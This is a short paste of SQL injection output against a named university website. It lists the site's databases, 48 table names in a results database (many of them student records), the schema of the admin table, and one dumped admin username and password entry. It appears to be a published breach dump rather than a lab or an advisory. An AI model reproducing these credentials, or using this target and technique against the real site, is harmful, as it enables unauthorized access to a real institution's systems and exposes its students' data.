PHP:
Target: http://www.hu.edu.pk/
Vulnerability: SQL Injection
available databases [3]:
[*] c3results
[*] information_schema
[*] test
Database: c3results
[48 tables]
+------------------+
| Havelian |
| addmissionfrm |
| admin |
| babscrollnoslip |
| bar |
| bba |
| bbafinal |
| bcomr |
| bcomstudents |
| bed |
| candi_lec |
| candidate |
| candidate_list |
| candidates |
| colleges |
| contacts |
| deg_programme |
| degree_hu |
| demo_list11 |
| departments |
| detail_11 |
| dphram |
| eventstitle |
| faculties |
| haripur |
| hu_events |
| hu_publications |
| huadministration |
| hudept |
| main_11 |
| mcom |
| mgt_result |
| programme |
| publications |
| reg_11 |
| s_board |
| semsprogramme |
| semstudents |
| student_babsc08 |
| student_bcom08 |
| studentbabscr |
| studentbsc1 |
| studentmamsc |
| studentmamscr |
| students |
| studentsbsc |
| type |
| urdunews |
+------------------+
Database: c3results
Table: admin
[3 columns]
+---------+------------------+
| Column | Type |
+---------+------------------+
| id | int(11) unsigned |
| passwrd | varchar(25) |
| u_name | varchar(25) |
+---------+------------------+
Database: c3results
Table: admin
[1 entry]
+----+----------------+---------------+
| id | passwrd | u_name |
+----+----------------+---------------+
| 1 | #23_hazara_1## | 1##_admin_1## |
